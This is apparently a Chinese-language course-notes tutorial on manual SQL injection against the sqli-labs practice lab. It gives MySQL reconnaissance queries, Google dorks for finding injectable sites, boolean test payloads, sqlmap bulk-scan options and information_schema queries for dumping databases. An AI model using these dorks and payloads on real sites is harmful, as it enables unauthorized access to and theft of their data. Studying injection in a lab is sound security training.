1. 网易web安全渗透手动sql注入

sql注入

环境环境搭建服务器软件是phpstudy下载地址https://www.xp.cn/
靶场是sqli-labs下载地址是https://github.com/Audi-1/sqli-labs
配置sqli-labs的sql密码
在这里插入图片描述

用php5和mysql5.7
在这里插入图片描述

成功
在1这里插入图片描述

1
2
3

select system_user();      系统用户名 
select  user(); 　　当前数据库用户名
select  current_user(); 　　当前用户名

1	select database(); 返回当前使用的数据库

在这里插入图片描述

select	version() mysql; 　　数据库版本
select @@datadir;     数据库路径
select @@basedir;  数据库安装路径
select @@global.version_compile_os;  操作系统的信息

1	inurl:php?id=

在这里插入图片描述
有特定目标

1	inurl:php?id=site:xxxx.com

在这里插入图片描述

1
2
3

and 1=1/ and 1=2
and"1=1/and"1=2
and 1 like 1/and 1 like 2

1 2	sqlmap -m 要指定的文件多个目标URL保持到文件里-m就会用文件里的 sqlmap --craw sqlmap对目标网站进行爬取然后依次进行测试

mysql结构
mysql内库
核心原理:
MySq内置的 Information schema库,它功能强大,是我们进行MySq注入的基石!
通过 information schema我们可以窥透整个 MySQL的运行情况,也可以查看到数据库中所有的数据信息。

功能名称	查询语句
查库	select schema_name from information_schema.schemata
查表	select table_name from information_schema.tables where table_schema=’库名’
查列	select column_name from information_schema.columns where table_name=’列名’;
查数据	select 列名 from 库名.表名